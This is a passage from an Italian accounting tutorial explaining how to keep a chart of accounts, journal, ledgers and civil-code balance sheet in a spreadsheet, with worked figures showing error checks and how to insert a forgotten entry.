Nel piano dei conti, i conti vanno inseriti una volta sola. Se un conto che risulta avere un'eccedenza, appare più volte, dovrebbe essere segnalato un errore, come si vede nella figura successiva. Tuttavia, va tenuto in considerazione che anche un errore di quadratura del giornale produce la mancata quadratura delle eccedenze.

Figura 123.18. Piano dei conti con eccedenze che non quadrano: il conto «fabbricati» è doppio.

	A	B	C	D	E	F	G	H
1	x	codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio	eccedenza dare	eccedenza avere	ATTENZIONE! le eccedenze non quadrano
2	x	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				1 777 802,77	1 497 802,77	
7	x	0201	fabbricati			280 000,00	0,00	
8	x	0201	fabbricati			280 000,00	0,00	
9	x	0204	attrezzature			13 000,00	0,00	
10	x	0205	macchine d'ufficio			14 000,00	0,00	
11	x	0206	arredamento			27 000,00	0,00	
12	x	0207	automezzi			27 000,00	0,00	
14	x	0211	fondo ammortamento fabbricati			0,00	47 200,00	
15	x	0214	fondo ammortamento attrezzature			0,00	13 000,00	
16	x	0215	fondo ammortamento macchine d'ufficio			0,00	11 800,00	
17	x	0216	fondo ammortamento arredamento			0,00	17 740,00	
18	x	0217	fondo ammortamento automezzi			0,00	16 900,00	
20	x	0404	merci			75 000,00	0,00	
21	x	0501	crediti v/clienti			85 100,00	0,00	
23	x	0509	fatture da emettere			3 840,00	0,00	
24	x	0540	fondo svalutazione crediti			0,00	750,00	
25	x	0541	fondo rischi su crediti			0,00	421,75	
26	x	0601	IVA ns/credito			0,00	0,00	

123.3.3 Giornale

Nella scheda del giornale vanno inserite, ordinatamente, tutte le scritture. Ogni scrittura va separata dalle altre, unendo le celle della data, della descrizione e di altre informazioni, come si vede dalla figura successiva. Si osservi, però, che le celle nelle colonne dei codici clienti e fornitori, non devono essere fuse.

Figura 123.19. Giornale con un esempio.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1	x		data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2		3501	ammortamento fabbricati							11 200,00		11 200,00	
6	x	2		3506	ammortamento arredamento							3 240,00		14 440,00	
7	x	2		3507	ammortamento automezzi							5 400,00		19 840,00	
8	x	2		3505	ammortamento macchine d'ufficio							2 800,00		22 640,00	
9	x	2	31 dic	3504	ammortamento attrezzature			si calcolano gli ammortamenti				2 000,00		24 640,00	
10	x	2		0211	fondo ammortamento fabbricati								11 200,00	13 440,00	
11	x	2		0216	fondo ammortamento arredamento								3 240,00	10 200,00	
12	x	2		0217	fondo ammortamento automezzi								5 400,00	4 800,00	
13	x	2		0215	fondo ammortamento macchine d'ufficio								2 800,00	2 000,00	
14	x	2		0214	fondo ammortamento attrezzature								2 000,00	0,00	
15	x	3	31 dic	4010	interessi attivi v/clienti			risconto su interessi attivi v/clienti				511,11		511,11	
16	x	3		1602	risconti passivi								511,11	0,00	
17	x	4		0541	fondo rischi su crediti							1 050,00		1 050,00	
18	x	4	31 dic	3905	perdite su crediti			stralcio dei crediti v/clienti				2 850,00		3 900,00	
19	x	4		0501	crediti v/clienti								3 900,00	0,00	

Nella colonna N, appare un conteggio che si deve azzerare alla fine di ogni scrittura. Se non si azzera, la scrittura non quadra e appare anche una segnalazione più esplicita nella colonna O. Quando manca la quadratura, attraverso i valori che appaiono nella colonna N, si individua facilmente qual è la prima scrittura che ne è la causa; una volta corretta quella, se il problema permane, si può cercare la successiva.

Figura 123.20. La scrittura del calcolo degli ammortamenti non quadra.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1	x		data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	attenzione alle scritture!
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2		3501	ammortamento fabbricati							11 200,00		11 200,00	
6	x	2		3506	ammortamento arredamento							3 240,00		14 440,00	
7	x	2		3507	ammortamento automezzi							5 400,00		19 840,00	
8	x	2		3505	ammortamento macchine d'ufficio							2 800,00		22 640,00	
9	x	2	31 dic	3504	ammortamento attrezzature			si calcolano gli ammortamenti				2 000,00		24 640,00	
10	x	2		0211	fondo ammortamento fabbricati								112 000,00	- 87 360,00	
11	x	2		0216	fondo ammortamento arredamento								3 240,00	- 90 600,00	
12	x	2		0217	fondo ammortamento automezzi								5 400,00	- 96 000,00	
13	x	2		0215	fondo ammortamento macchine d'ufficio								2 800,00	- 98 800,00	
14	x	2		0214	fondo ammortamento attrezzature								2 000,00	- 100 800,00	
15	x	2	31 dic	4010	interessi attivi v/clienti			risconto su interessi attivi v/clienti				511,11		- 100 288,89	
16	x	2		1602	risconti passivi								511,11	- 100 800,00	
17	x	2		0541	fondo rischi su crediti							1 050,00		- 99 750,00	
18	x	2	31 dic	3905	perdite su crediti			stralcio dei crediti v/clienti				2 850,00		- 96 900,00	
19	x	2		0501	crediti v/clienti								3 900,00	- 100 800,00	

Se lo si preferisce, **tra una scrittura e la successiva si possono lasciare delle righe vuote**. In tal caso, prima di stampare il giornale, questo deve essere filtrato in modo da selezionare solo le righe che contengono una «x» nella colonna A.

Se per qualche ragione si dimentica di fare una certa scrittura, da inserire in una posizione già occupata, occorre procedere con attenzione, copiando in basso le scritture esistenti dello spazio necessario. Nelle figure successive viene mostrato il procedimento.

Figura 123.21. Si pone il problema di inserire una scrittura (che occupa due sole righe), tra la prima e la seconda attuale: si seleziona la zona C5:D***n*** (in basso fino a dove ci sono scritture già inserite) e la si copia.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1	x		data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2		3501	ammortamento fabbricati							11 200,00		11 200,00	
6	x	2		3506	ammortamento arredamento							3 240,00		14 440,00	
7	x	2		3507	ammortamento automezzi							5 400,00		19 840,00	
8	x	2		3505	ammortamento macchine d'ufficio							2 800,00		22 640,00	
9	x	2	31 dic	3504	ammortamento attrezzature			si calcolano gli ammortamenti				2 000,00		24 640,00	
10	x	2		0211	fondo ammortamento fabbricati								11 200,00	13 440,00	
11	x	2		0216	fondo ammortamento arredamento								3 240,00	10 200,00	
12	x	2		0217	fondo ammortamento automezzi								5 400,00	4 800,00	
13	x	2		0215	fondo ammortamento macchine d'ufficio								2 800,00	2 000,00	
14	x	2		0214	fondo ammortamento attrezzature								2 000,00	0,00	
15	x	3	31 dic	4010	interessi attivi v/clienti			risconto su interessi attivi v/clienti				511,11		511,11	
16	x	3		1602	risconti passivi								511,11	0,00	
17	x	4		0541	fondo rischi su crediti							1 050,00		1 050,00	
18	x	4	31 dic	905	perdite su crediti			stralcio dei crediti v/clienti				2 850,00		3 900,00	
19	x	4	copia		crediti v/clienti								3 900,00	0,00	

A questo punto, mentre la zona è ancora selezionata, conviene sciogliere le celle fuse, perché altrimenti diventa impossibile incollarvi sopra la zona copiata (sfasandola in basso di due righe, come richiesto).

Figura 123.22. Le celle fuse, contenute nella zona ancora selezionata, vengono sciolte.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1	x		data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2	31 dic	3501	ammortamento fabbricati							11 200,00		11 200,00	
6	x	2		3506	ammortamento arredamento							3 240,00		14 440,00	
7	x	2		3507	ammortamento automezzi							5 400,00		19 840,00	
8	x	2		3505	ammortamento macchine d'ufficio							2 800,00		22 640,00	
9	x	2		3504	ammortamento attrezzature			si calcolano gli ammortamenti				2 000,00		24 640,00	
10	x	2		0211	fondo ammortamento fabbricati								11 200,00	13 440,00	
11	x	2		0216	fondo ammortamento arredamento								3 240,00	10 200,00	
12	x	2		0217	fondo ammortamento automezzi								5 400,00	4 800,00	
13	x	2		0215	fondo ammortamento macchine d'ufficio								2 800,00	2 000,00	
14	x	2		0214	fondo ammortamento attrezzature								2 000,00	0,00	
15	x	3	31 dic	4010	interessi attivi v/clienti			risconto su interessi attivi v/clienti				511,11		511,11	
16	x	3		1602	risconti passivi								511,11	0,00	
17	x	4	31 dic	0541	fondo rischi su crediti							1 050,00		1 050,00	
18	x	4		3905	perdite su crediti			stralcio dei crediti v/clienti				2 850,00		3 900,00	
19	x	4		0501	crediti v/clienti								3 900,00	0,00	

A questo punto si toglie la selezione (basta un clic con il tasto sinistro del mouse) e si incolla a partire dalla cella C7, come si vede nella figura successiva.

Figura 123.23. La copia ha avuto luogo, due righe più in basso.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1			data reg.		conto	cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2	31 dic	3501	ammortamento fabbricati							11 200,00		11 200,00	
6	x	2		3506	ammortamento arredamento							3 240,00		14 440,00	
7	x	2		3501	ammortamento fabbricati							5 400,00		19 840,00	
8	x	2		3506	ammortamento arredamento							2 800,00		22 640,00	
9	x	2		3507	ammortamento automezzi							2 000,00		24 640,00	
10	x	2	incolla		ammortamento macchine d'ufficio			si calcolano gli ammortamenti					11 200,00	13 440,00	
11	x	2	31 dic	3504	ammortamento attrezzature								3 240,00	10 200,00	
12	x	2		0211	fondo ammortamento fabbricati								5 400,00	4 800,00	
13	x	2		0216	fondo ammortamento arredamento								2 800,00	2 000,00	
14	x	2		0217	fondo ammortamento automezzi								2 000,00	0,00	
15	x	3		0215	fondo ammortamento macchine d'ufficio			risconto su interessi attivi v/clienti				511,11		511,11	
16	x	3		0214	fondo ammortamento attrezzature								511,11	0,00	
17	x	4	31 dic	4010	interessi attivi v/clienti							1 050,00		1 050,00	
18	x	4		1602	risconti passivi			stralcio dei crediti v/clienti				2 850,00		3 900,00	
19	x	4		0541	fondo rischi su crediti								3 900,00	0,00	

Una volta fatta la copia, vanno cancellate le celle residuate che devono essere occupate dalla nuova scrittura.

Figura 123.24. Si cancellano le celle liberate dopo la copia in basso.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1			data reg.		conto	cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2	31 dic	3501	ammortamento fabbricati							11 200,00		11 200,00	
6	x	2		3506	ammortamento arredamento							3 240,00		14 440,00	
7	x	2		3501	ammortamento fabbricati							5 400,00		19 840,00	
8	x	2	cancella		tamento arredamento							2 800,00		22 640,00	
9	x	2		3507	ammortamento automezzi							2 000,00		24 640,00	
10	x	2		3505	ammortamento macchine d'ufficio			si calcolano gli ammortamenti					11 200,00	13 440,00	
11	x	2	31 dic	3504	ammortamento attrezzature								3 240,00	10 200,00	
12	x	2		0211	fondo ammortamento fabbricati								5 400,00	4 800,00	
13	x	2		0216	fondo ammortamento arredamento								2 800,00	2 000,00	
14	x	2		0217	fondo ammortamento automezzi								2 000,00	0,00	
15	x	3		0215	fondo ammortamento macchine d'ufficio			risconto su interessi attivi v/clienti				511,11		511,11	
16	x	3		0214	fondo ammortamento attrezzature								511,11	0,00	
17	x	4	31 dic	4010	interessi attivi v/clienti							1 050,00		1 050,00	
18	x	4		1602	risconti passivi			stralcio dei crediti v/clienti				2 850,00		3 900,00	
19	x	4		0541	fondo rischi su crediti								3 900,00	0,00	

Quindi si procede con l'operazione per il blocco che va dalla descrizione agli importi.

Figura 123.25. Si esegue la stessa copia in basso per la zona che contiene le descrizioni, gli importi e altre informazioni correlate.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1	x		data reg.		conto	cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2										11 200,00		11 200,00	
6	x	2										3 240,00		14 440,00	
7	x	2		3501	ammortamento fabbricati							5 400,00		19 840,00	
8	x	2		3506	ammortamento arredamento							2 800,00		22 640,00	
9	x	2		3507	ammortamento automezzi							2 000,00		24 640,00	
10	x	2		3505	ammortamento macchine d'ufficio			si calcolano gli ammortamenti					11 200,00	13 440,00	
11	x	2	31 dic	3504	ammortamento attrezzature								3 240,00	10 200,00	
12	x	2		0211	fondo ammortamento fabbricati								5 400,00	4 800,00	
13	x	2		0216	fondo ammortamento arredamento								2 800,00	2 000,00	
14	x	2		0217	fondo ammortamento automezzi								2 000,00	0,00	
15	x	3		0215	fondo ammortamento macchine d'ufficio			risconto su interessi attivi v/clienti				511,11		511,11	
16	x	3		0214	fondo ammortamento attrezzature								511,11	0,00	
17	x	4	31 dic	4010	interessi attivi v/clienti							050,00		1 050,00	
18	x	4		1602	risconti passivi			stralcio dei crediti v/clienti				2 copia		3 900,00	
19	x	4		0541	fondo rischi su crediti								3 900,00	0,00	

Figura 123.26. Si sciolgono le celle della zona ancora selezionata.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1			data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2						si calcolano gli ammortamenti				11 200,00		11 200,00	
6	x	2										3 240,00		14 440,00	
7	x	2		3501	ammortamento fabbricati							5 400,00		19 840,00	
8	x	2		3506	ammortamento arredamento							2 800,00		22 640,00	
9	x	2		3507	ammortamento automezzi							2 000,00		24 640,00	
10	x	2		3505	ammortamento macchine d'ufficio								11 200,00	13 440,00	
11	x	2	31 dic	3504	ammortamento attrezzature								3 240,00	10 200,00	
12	x	2		0211	fondo ammortamento fabbricati								5 400,00	4 800,00	
13	x	2		0216	fondo ammortamento arredamento								2 800,00	2 000,00	
14	x	2		0217	fondo ammortamento automezzi								2 000,00	0,00	
15	x	3		0215	fondo ammortamento macchine d'ufficio			risconto su interessi attivi v/clienti				511,11		511,11	
16	x	3		0214	fondo ammortamento attrezzature								511,11	0,00	
17	x	4		4010	interessi attivi v/clienti			stralcio dei crediti v/clienti				1 050,00		1 050,00	
18	x	4	31 dic	1602	risconti passivi							2 850,00		3 900,00	
19	x	4		0541	fondo rischi su crediti								3 900,00	0,00	

Figura 123.27. Si incolla.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1			data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	attenzione alle scritture!
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2						si calcolano gli ammortamenti				11 200,00		11 200,00	
6	x	2										3 240,00		14 440,00	
7	x	2		3501	ammortamento fabbricati							11 200,00		25 640,00	
8	x	2		3506	ammortamento arredamento							3 240,00		28 880,00	
9	x	2		3507	ammortamento automezzi							5 400,00		34 280,00	
10	x	2		3505	ammortamento macchine d'ufficio			incolla				2 800,00		37 080,00	
11	x	2	31 dic	3504	ammortamento attrezzature			si calcolano gli ammortamenti				2 000,00		39 080,00	
12	x	2		0211	fondo ammortamento fabbricati								11 200,00	27 880,00	
13	x	2		0216	fondo ammortamento arredamento								3 240,00	24 640,00	
14	x	2		0217	fondo ammortamento automezzi								5 400,00	19 240,00	
15	x	2		0215	fondo ammortamento macchine d'ufficio								2 800,00	16 440,00	
16	x	2		0214	fondo ammortamento attrezzature								2 000,00	14 440,00	
17	x	2	31 dic	4010	interessi attivi v/clienti			risconto su interessi attivi v/clienti				511,11		14 951,11	
18	x	2		1602	risconti passivi								511,11	14 440,00	
19	x	2		0541	fondo rischi su crediti							1 050,00		15 490,00	

Figura 123.28. Si cancellano le celle rimaste libere.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1			data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		1 531,27	attenzione alle scritture!
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	53,71	
4	x	1		1502	debiti per ritenute da versare								53,71	0,00	
5	x	2						si calcolano gli ammortamenti				11 200,00		11 200,00	
6	x	2										3 240,00		14 440,00	
7	x	2		3501	ammortamento fabbricati			cancella				11 200,00		25 640,00	
8	x	2		3506	ammortamento arredamento							3 240,00		28 880,00	
9	x	2		3507	ammortamento automezzi							5 400,00		34 280,00	
10	x	2		3505	ammortamento macchine d'ufficio							2 800,00		37 080,00	
11	x	2	31 dic	3504	ammortamento attrezzature			si calcolano gli ammortamenti				2 000,00		39 080,00	
12	x	2		0211	fondo ammortamento fabbricati								11 200,00	27 880,00	
13	x	2		0216	fondo ammortamento arredamento								3 240,00	24 640,00	
14	x	2		0217	fondo ammortamento automezzi								5 400,00	19 240,00	
15	x	2		0215	fondo ammortamento macchine d'ufficio								2 800,00	16 440,00	
16	x	2		0214	fondo ammortamento attrezzature								2 000,00	14 440,00	
17	x	2	31 dic	4010	interessi attivi v/clienti			risconto su interessi attivi v/clienti				511,11		14 951,11	
18	x	2		1602	risconti passivi								511,11	14 440,00	
19	x	2		0541	fondo rischi su crediti							1 050,00		15 490,00	

Alla fine si mette la scrittura mancante e l'operazione di inserimento è conclusa.

Figura 123.29. Conclusione dell'inserimento.

	A	B	C	D	E	F	G	H	I	J	K	L	M	N	O
1	x		data reg.	conto		cli	for	descrizione	n. doc.	data doc.	n. prot.	dare	avere		
2	x	1		3303	TFRL							1 531,27		*1 531,27*	
3	x	1	31 dic	1201	debiti per TFRL			si incrementano debiti per TFRL					1 477,56	*53,71*	
4	x	1		1502	debiti per ritenute da versare								53,71	*0,00*	
5	x	2	31 dic	0404	merci			valutazione rimanenze				75 000,00		*75 000,00*	
6	x	2		3031	merci c/rimanenze finali								75 000,00	*0,00*	
7	x	3		3501	ammortamento fabbricati							11 200,00		*11 200,00*	
8	x	3		3506	ammortamento arredamento							3 240,00		*14 440,00*	
9	x	3		3507	ammortamento automezzi							5 400,00		*19 840,00*	
10	x	3		3505	ammortamento macchine d'ufficio							2 800,00		*22 640,00*	
11	x	3	31 dic	3504	ammortamento attrezzature			si calcolano gli ammortamenti				2 000,00		*24 640,00*	
12	x	3		0211	fondo ammortamento fabbricati								11 200,00	*13 440,00*	
13	x	3		0216	fondo ammortamento arredamento								3 240,00	*10 200,00*	
14	x	3		0217	fondo ammortamento automezzi								5 400,00	*4 800,00*	
15	x	3		0215	fondo ammortamento macchine d'ufficio								2 800,00	*2 000,00*	
16	x	3		0214	fondo ammortamento attrezzature								2 000,00	*0,00*	
17	x	4	31 dic	4010	interessi attivi v/clienti			risconto su interessi attivi v/clienti				511,11		*511,11*	
18	x	4		1602	risconti passivi								511,11	*0,00*	
19	x	5		0541	fondo rischi su crediti							1 050,00		*1 050,00*	

123.3.4 Partitario o «mastrini»

Per la stampa dei singoli conti, con tutte le informazioni che li riguardano, si può usare la scheda '`m1`' (un conto alla volta). È sufficiente inserire il codice del conto a cui si è interessati e quindi filtrare in base alla presenza della lettera «x» nella colonna A.

Figura 123.30. Mastrino del conto «fondo ammortamento fabbricati», dopo aver indicato il codice nella cella B2, ma prima di avere applicato il filtro.

	A	B	C	D	E	F	G	H	I	J	K
1	x	codice conto	scheda del conto: «fondo ammortamento fabbricati»							eccedenza dare	eccedenza avere
2	x	**0211**								0,00	0,00
3	x										
4	x	n	data reg.	n. doc.	data doc.	n. prot.	cli	for	descrizione	dare	avere
5		1									
6		1									
7		1									
8		1									

Figura 123.31. Mastrino del conto «fondo ammortamento fabbricati», dopo aver applicato il filtro delle sole righe che lo riguardano.

	A	B	C	D	E	F	G	H	I	J	K
1	x	codice conto	scheda del conto: «fondo ammortamento fabbricati»							eccedenza dare	eccedenza avere
2	x	0211								0,00	0,00
3	x										
4	x	n	data reg.	n. doc.	data doc.	n. prot.	cli	for	descrizione	dare	avere
32	x	1	31/12						situazione iniziale, prima delle scritture di assestamento	0,00	36 000,00
61	x	3	31/12						si calcolano gli ammortamenti	0,00	11 200,00
99	x	18	30/12						chiusura passività	47 200,00	0,00
505	x	n	data reg.	n. doc.	data doc.	n. prot.	cli	for	descrizione	dare	avere

Le schede previste per il partitario sono in numero limitato, allo scopo di evidenziare soltanto i conti usati con maggiore frequenza. Se però se ne ravvisa la necessità e se il proprio elaboratore dispone della capacità necessaria, è possibile aggiungere schede nuove e duplicare una scheda del partitario già esistente.

123.4 Bilancio

La scheda del piano dei conti dà già la situazione delle eccedenze, ammesso che la contabilità presente nel giornale parta dall'inizio dell'anno contabile (o quanto meno ne riassuma la parte mancante). Tuttavia, ciò non soddisfa la forma richiesta dal codice civile. Per questo, occorre creare un abbinamento tra le voci del piano dei conti e quelle stabilite per il bilancio della normativa italiana.

123.4.1 Situazione dei conti

Per dare modo agli studenti di comprendere meglio il meccanismo della chiusura, prima di affrontare il bilancio vero e proprio, di norma gli si fa predisporre una situazione contabile, secondo quella che era la forma tradizionale del bilancio, fino agli anni 1970. La scheda denominata '`sc`' consente di far loro realizzare questo lavoro, inserendo semplicemente i codici dei conti.

Figura 123.32. Una porzione della scheda utile per la redazione di una situazione contabile. Le descrizioni e i valori delle eccedenze dei conti proviene dalla scheda '**conti**'.

	A	B	C	D	E	F	G
1	x	conti dello stato patrimoniale					
2	x	0201	fabbricati	280 000,00	0211	fondo ammortamento fabbricati	47 200,00
3	x	0204	attrezzature	13 000,00	0214	fondo ammortamento attrezzature	13 000,00
4	x	0205	macchine d'ufficio	14 000,00	0215	fondo ammortamento macchine d'ufficio	11 800,00
5	x	0206	arredamento	27 000,00	0216	fondo ammortamento arredamento	17 740,00
6	x	0207	automezzi	27 000,00	0217	fondo ammortamento automezzi	16 900,00
7	x	0404	merci	75 000,00	0540	fondo svalutazione crediti	750,00

	A	B	C	D	E	F	G
51	x	conti economici					
52	x	2010	resi su vendite	5 280,00	2001	merci c/vendite	892 650,00
53	x	2011	ribassi e abbuoni passivi	3 138,00	2003	rimborsi costi di vendita	8 870,00
54	x	3001	merci c/acquisti	699 610,00	2101	fitti attivi	850,00
55	x	3021	merci c/esistenze iniziali	123 900,00	2120	plusvalenze ordinarie	1 500,00
56	x	3101	costi di trasporto	38 600,00	3010	resi su acquisti	10 150,00
57	x	3102	costi per energia	6 190,00	3011	ribassi e abbuoni attivi	2 120,00

123.4.2 Scheda del bilancio

La scheda del bilancio non richiede l'inserimento di dati, in quanto ottiene tutto ciò che le serve attraverso delle formule: quello che va fatto è inserire dei riferimenti nella tabella del piano dei conti.

Figura 123.33. La parte iniziale della scheda del bilancio.

	A	B	C	D	E	F	G	H	I	J	K
1	.	.	.	.	.	.	.	.	.	.	.
2	x	a					**ATTIVO**				
3	x	a									
4	x	a	A				**CREDITI VERSO I SOCI PER VERSAMENTI ANCORA DOVUTI:**				**0**
5		a	A		***1***		crediti verso i soci già richiamati		0		
6		a	A		***2***		crediti verso i soci non ancora richiamati		0		
7	x	a	B				**IMMOBILIZZAZIONI:**				**254 360**
8		a	B	I			Immobilizzazioni immateriali:			0	
9		a	B	I	1		costi di impianto e di ampliamento		0		
10		a	B	I	2		costi di ricerca, di sviluppo e di pubblicità		0		
11		a	B	I	3		diritti di brevetto industriale e diritti di utilizzazione delle opere dell'ingegno		0		
12		a	B	I	4		concessioni, licenze, marchi e diritti simili		0		
13		a	B	I	5		avviamento		0		
14		a	B	I	6		immobilizzazioni immateriali in corso e acconti		0		

Come si può vedere dalla figura, le sigle usate non sono sempre perfettamente conformi al codice civile; per esempio, per poter distinguere tra i crediti verso i soci già richiamati e gli stessi crediti non ancora richiamati, è stato aggiunto un numero; pertanto, la voce «A» all'attivo risulta in pratica suddivisa in «A1» e «A2». Ma come si può osservare, le varianti a queste sigle appaiono con cifre inclinate.

Alle sigle del codice civile, inoltre, si aggiunge una lettera minuscola iniziale: «a» per distinguere le voci dell'attivo; «p» per il passivo ed «e» per quelle del conto economico. Per esempio, per fare riferimento all'avviamento, che fa parte delle immobilizzazioni dell'attivo di bilancio, si deve usare la sigla «aBI5», la quale rappresenta precisamente «attivo BI5».

Tabella 123.34. Varianti rispetto a quanto riportato nel codice civile.

codice civile	descrizione	adattamento
attivo A	crediti verso i soci già richiamati	attivo A1
attivo A	crediti verso i soci non ancora richiamati	attivo A2
attivo D	ratei attivi	attivo D1
attivo D	risconti attivi	attivo D2
attivo D	disaggi su prestiti	attivo D3
passivo C	trattamento di fine rapporto di lavoro subordinato	passivo C1
passivo E	ratei passivi	passivo E1
passivo E	risconti passivi	passivo E2
passivo E	aggi su prestiti	passivo E3

123.4.3 Collegamento nel piano dei conti

Per collegare una voce del piano dei conti a una voce di bilancio, occorre compilare le colonne D ed E, mettendo le sigle che si possono desumere dalla scheda del bilancio stesso. Per esempio, la voce fabbricati deve andare in bilancio alla voce BII1 dell'attivo (terreni e fabbricati); pertanto si mette la sigla aBII1, nella colonna D, in corrispondenza della riga dei fabbricati, nella scheda del piano dei conti. La sigla aBII1 si mette nella colonna D perché si vuole che l'eccedenza *dare* del conto sia sommata in bilancio. Anche il fondo ammortamento fabbricati va associato alla sigla aBII1, posto sempre nella colonna D, perché l'eccedenza *avere* del fondo va sottratta alla voce corrispondente di bilancio (precisamente si dice che va in *rettifica*).

In pratica, quando si mette una sigla riferita al bilancio nella colonna D, si vuole sommare in bilancio l'eccedenza *dare* del conto, oppure si vuole sottrarre la sua eccedenza *avere*. Per converso, se si mette la sigla nella colonna E, si vuole sommare l'eccedenza *avere* del conto, oppure si vuole sottrarre la sua eccedenza *dare*.

Vale sempre una regola molto semplice: se una stessa sigla del bilancio deve essere usata più volte, questa deve essere collocata sempre nella stessa colonna (o la colonna D o la colonna E). Se ci si accorge di avere usato una sigla del bilancio un po' da una parte e un po' dall'altra, si tratta di un errore.

Figura 123.35. Una porzione di un piano dei conti con l'associazione al bilancio.

	B	C	D	E	F	G
1	codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio	eccedenza dare	eccedenza avere
2	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				1 497 802,77	1 497 802,77
7	0201	fabbricati	aBII1		280 000,00	0,00
8	0204	attrezzature	aBII3		13 000,00	0,00
9	0205	macchine d'ufficio	aBII4		14 000,00	0,00
10	0206	arredamento	aBII4		27 000,00	0,00
11	0207	automezzi	aBII4		27 000,00	0,00
13	0211	fondo ammortamento fabbricati	aBII1		0,00	47 200,00
14	0214	fondo ammortamento attrezzature	aBII3		0,00	13 000,00
15	0215	fondo ammortamento macchine d'ufficio	aBII4		0,00	11 800,00
16	0216	fondo ammortamento arredamento	aBII4		0,00	17 740,00
17	0217	fondo ammortamento automezzi	aBII4		0,00	16 900,00

	B	C	D	E	F	G
58	2010	resi su vendite		eA1	5 280,00	0,00
59	2011	ribassi e abbuoni passivi		eA1	3 138,00	0,00
60	2101	fitti attivi		eA5	0,00	850,00
62	2120	plusvalenze ordinarie		eA5	0,00	1 500,00
63	3001	merci c/acquisti	eB6		699 610,00	0,00
65	3010	resi su acquisti	eB6		0,00	10 150,00
66	3011	ribassi e abbuoni attivi	eB6		0,00	2 120,00
67	3021	merci c/esistenze iniziali	eB11		123 900,00	0,00
68	3031	merci c/rimanenze finali	eB11		0,00	75 000,00

La scheda del piano dei conti è in grado di segnalare alcuni errori comuni: se viene inserita una sigla di bilancio esistente, la quale però non può essere usata direttamente, perché al suo posto va scelta una voce più dettagliata; se viene inserita una sigla di bilancio valida, ma in entrambe le colonne D ed E. Gli errori che non vengono segnalati sono quelli relativi all'uso di sigle non valide; mentre nel caso di una mancata attribuzione di una voce di bilancio a un conto che invece ha un'eccedenza produce un avvertimento nella scheda riassuntiva degli errori.

Figura 123.36. In questo caso è stata usata la sigla «aBII», mentre al suo posto va specificato il tipo di immobilizzazione (aBII1).

	B	C	D	E	F	G	H	I
1	codice	denominazione	sommare eccedenza dare in bilancio, ovvero, sottrarre eccedenza avere in bilancio	sommare eccedenza avere in bilancio, ovvero, sottrarre eccedenza dare in bilancio	eccedenza dare	eccedenza avere		Attenzione alle voci di bilancio
2	riordinare l'area di colore grigio (da B3 a E302), secondo la colonna B, in modo crescente				1 497 802,77	1 497 802,77		
7	0201	fabbricati	aBII		280 000,00	0,00		Attenzione alle voci di bilancio
8	0204	attrezzature	aBII3		13 000,00	0,00		
9	0205	macchine d'ufficio	aBII4		14 000,00	0,00		
10	0206	arredamento	aBII4		27 000,00	0,00		
11	0207	automezzi	aBII4		27 000,00	0,00		
